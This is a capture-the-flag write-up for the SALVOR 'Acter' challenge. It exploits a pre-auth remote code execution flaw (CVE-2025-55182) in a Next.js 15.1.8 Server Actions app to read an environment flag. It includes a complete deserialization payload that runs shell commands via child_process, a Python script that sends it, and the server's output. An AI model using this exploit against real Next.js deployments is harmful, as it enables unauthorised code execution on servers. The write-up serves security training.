Acter
🧠 Challenge Text¶
Hi Senior Researcher,
SALVOR is a security-oriented learning environment designed for curious minds and aspiring security professionals. It provides a hands-on space to explore cybersecurity concepts, investigate realistic scenarios, and sharpen practical skills through interactive challenges.
Your task is to gain experience.
Stay curious!
The starting point for your SALVOR journey is http://intro.salvor.nren.tcc
🔍 Hints Text¶
No hints were provided.
🎨 Solution¶
Target: http://dsrepos.salvor.nren.tcc/ — Next.js 15.1.8 app with Server Actions.
Recon¶
RSC flight response format:
0:{"a":"$@1","f":"","b":"Mgl2Oig3swsMwGqLRHUHT"}
1:{"query":"...","results":[...],"totalDatasets":130,"error":null}
- Build ID:
Mgl2Oig3swsMwGqLRHUHT - Action ID:
407dc9e27e02030f69a13b28b5149e8de3188c45d0(searchAction) - Next.js version: 15.1.8 (vulnerable, fix is 15.1.9)
- 130 datasets, no flag in content
Exploit: CVE-2025-55182 (React2Shell)¶
Pre-auth RCE in React Server Components Flight deserialization.
The getOutlinedModel function walks property paths without hasOwnProperty check:
value = value[path[i]]; // traverses prototype chain
Payload sends 3 multipart FormData fields creating a fake chunk object:
- Field 0: fake chunk with _formData.get = "$1:constructor:constructor" (→ Function)
- Field 1: "$@0" (circular ref making chunk 0 thenable)
- Field 2: [] (empty Map for $Q2)
The _response._prefix field contains the shell command. Output exfiltrated via error digest.
env | grep -i flag → FLAG=FLAG{2cgd-Jb3C-0Tib-Iol9}
Scripted Reconstruction¶
The payload given CVE example is
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('printenv FLAG',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
(after few attempts to figure out where the Flag could be stored)
and relevant script which loads the payload and send it to the server
import requests
from pathlib import Path
url = "http://dsrepos.salvor.nren.tcc/"
action_id = "407dc9e27e02030f69a13b28b5149e8de3188c45d0"
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
with open(Path(__file__).parent / "chunk0.json") as f:
chunk0 = f.read().strip()
def make_part(name, value):
return f"--{boundary}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}\r\n"
body = make_part("0", chunk0)
body += make_part("1", '"$@0"')
body += make_part("2", "[]")
body += f"--{boundary}--\r\n"
r = requests.post(
url,
headers={
"Next-Action": action_id,
"Content-Type": f"multipart/form-data; boundary={boundary}",
},
data=body.encode(),
timeout=10,
)
print("Status:", r.status_code)
print("Response:")
print(r.text)
As a result I got
$ python /home/malisha/git/ctf-writeups/docs/thecatch/2026/salvor/acter.py
Status: 500
Response:
0:{"a":"$@1","f":"","b":"Mgl2Oig3swsMwGqLRHUHT"}
1:E{"digest":"FLAG{2cgd-Jb3C-0Tib-Iol9}"}
Flag¶
FLAG{2cgd-Jb3C-0Tib-Iol9}